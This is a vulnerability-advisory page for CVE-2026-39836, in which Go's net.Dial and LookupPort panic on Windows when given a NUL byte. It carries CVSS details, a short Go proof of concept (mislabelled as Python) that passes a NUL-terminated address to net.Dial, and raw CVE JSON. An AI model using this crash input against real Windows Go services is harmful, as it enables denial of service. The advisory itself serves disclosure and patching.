Security Vulnerability Report
中文
CVE-2026-39836 CVSS 7.5 HIGH

CVE-2026-39836

Published: 2026-05-07 20:16:44
Last Modified: 2026-05-08 22:16:30

Description

The Dial and LookupPort functions panic on Windows when provided with an input containing a NUL (0).

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Go (Windows平台特定版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
package main import ( "fmt" "net" ) func main() { // PoC for CVE-2026-39836 // Demonstrates triggering a panic in net.Dial on Windows using a NUL byte. // This code should cause the program to crash when run on a vulnerable Windows version of Go. maliciousInput := "127.0.0.1:80\x00" fmt.Printf("Attempting to dial with input: %q\n", maliciousInput) // The Dial function expects a network type and address. // Passing an address with a NUL byte triggers the vulnerability. conn, err := net.Dial("tcp", maliciousInput) if err != nil { fmt.Println("Error returned (should not reach here if panic occurs):", err) return } defer conn.Close() fmt.Println("Connection established (unexpected)") }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-39836", "sourceIdentifier": "[email protected]", "published": "2026-05-07T20:16:43.593", "lastModified": "2026-05-08T22:16:29.723", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Dial and LookupPort functions panic on Windows when provided with an input containing a NUL (0)."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "references": [{"url": "https://go.dev/cl/775320", "source": "[email protected]"}, {"url": "https://go.dev/issue/79006", "source": "[email protected]"}, {"url": "https://groups.google.com/g/golang-announce/c/qcCIEXso47M", "source": "[email protected]"}, {"url": "https://pkg.go.dev/vuln/GO-2026-4971", "source": "[email protected]"}]}}